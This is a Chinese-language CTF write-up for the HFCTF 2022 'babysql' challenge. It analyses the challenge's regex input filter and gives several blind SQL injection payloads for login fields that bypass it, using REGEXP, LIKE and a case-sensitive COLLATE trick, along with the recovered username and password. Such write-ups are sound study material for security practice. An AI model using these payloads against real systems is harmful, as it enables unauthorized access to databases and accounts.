HFCTF 2022-babysql

HFCTF2022-babysql

这个题目的过滤:

const r = str
    .replace(/[\s,()#;*\-]/g, '')
    .replace(/^.*(?=union|binary).*$/gi, '')
    .toString();

其实就是

  1. 不能使用()
  2. 不能使用* - ; # (限制了空格绕过和注释)
  3. 不能使用空白符 (其实结合2就是直接将空格的绕过给限制死了)
  4. 不能使用逗号, (限制了substr(string from int1 for int2)的字符串截取绕过)
  5. 不能使用union (防止了联合注入建立虚表使用自定义密码)
  6. 不能使用binary(限制了binary regexp这个匹配大小写的正则匹配)

最后我使用的是

username='||case'1'=`password`regexp'+payload+'when'1'then'1'else'0'end+1||'&password=1

但也没检测出大小写, 最后还是使用了爆破(2^18), tcltcl

看到其他师傅WP中的payload(需要爆破):

username=a'||`password`like'+payload+%'and`id`='1'||`password`regexp'[&password=1
username=a'||`password`regexp'^+paylaod+'and`id`='1'or`password`regexp'^[&password=1

实际上官方应该是让我们给出区分大小写的注入方法,这里再放一个其他师傅的payload:

username=a'||`password`COLLATE'utf8mb4_0900_as_cs'like'+payload+%'&&`id`='1'||`password`regexp'[&password=1

最后得到payload:

username=qay8tefyzc67aeoo&password=m52FPlDxYyLB^eIzAr!8gxh$

输入直接得到flag

另外在HFCTF2022坐牢复现里面有提到另一种可以成功检测大小写的方法,之前还看到过具体写法的不过可惜没记下来

image-20220413203552269

wp脚本可参考jacko大神的虎符CTF

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇